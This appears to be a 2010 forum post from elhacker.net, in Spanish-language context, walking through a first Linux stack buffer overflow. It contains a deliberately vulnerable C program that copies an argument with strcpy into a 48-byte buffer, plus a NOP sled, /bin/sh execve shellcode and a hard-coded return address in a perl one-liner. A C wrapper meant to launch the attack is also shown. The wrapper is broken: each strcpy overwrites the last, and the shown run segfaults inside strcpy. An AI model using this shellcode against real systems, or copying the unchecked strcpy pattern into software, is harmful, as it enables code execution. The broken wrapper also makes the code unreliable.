./vuln [23 NOPS + 25 Shellcode + 4 RET] 

./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$

juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
Fallo de segmentación
juanra@Juanra:~/Escritorio/Shell$ gdb -q exploit
(gdb) r
Starting program: /home/juanra/Escritorio/Shell/exploit 

Program received signal SIGSEGV, Segmentation fault.
0xb77521f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) 

/*
First BoF Linux attack : Sagrini 2010 : elhacker.net
23 Nops + 25 Shellcode + 4 Ret = 52 [48 Buffer + Ret] + 7 ["./vuln "] = 59
 
gcc -o vuln vuln.c --no-stack-protector -g -z execstack
./vuln $(perl -e 'print "\x90"x23 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."\x18\x1f\x9b\xbf"')
$
 
gcc -o exploit exploit.c
./exploit
$
 
------------------------------------------
!!! Vuln code !!!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void soy_vuln(char *arg)
{
	char buffer [48];
	strcpy (buffer, arg);
}
 
int main(int argc, char *argv[])
{
	if (argc != 2) return 1;
	soy_vuln(argv[1]);
}
------------------------------------------
*/
 
#include <stdio.h>
#include <string.h>
 
int main ()
{
	printf ("First BoF Linux attack : Sagrini 2010 : elhacker.net");
 
	char nops [23];
	memset (nops, '\x90', 23);
	char shellcode [25] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
	char ret [4] = "\x18\x1f\x9b\xbf";
 
	char command [59];
	strcpy (command, "./vuln ");
	strcpy (command, nops);
	strcpy (command, shellcode);
	strcpy (command, ret);
	execve (command, command, NULL);
 
	return 0;
}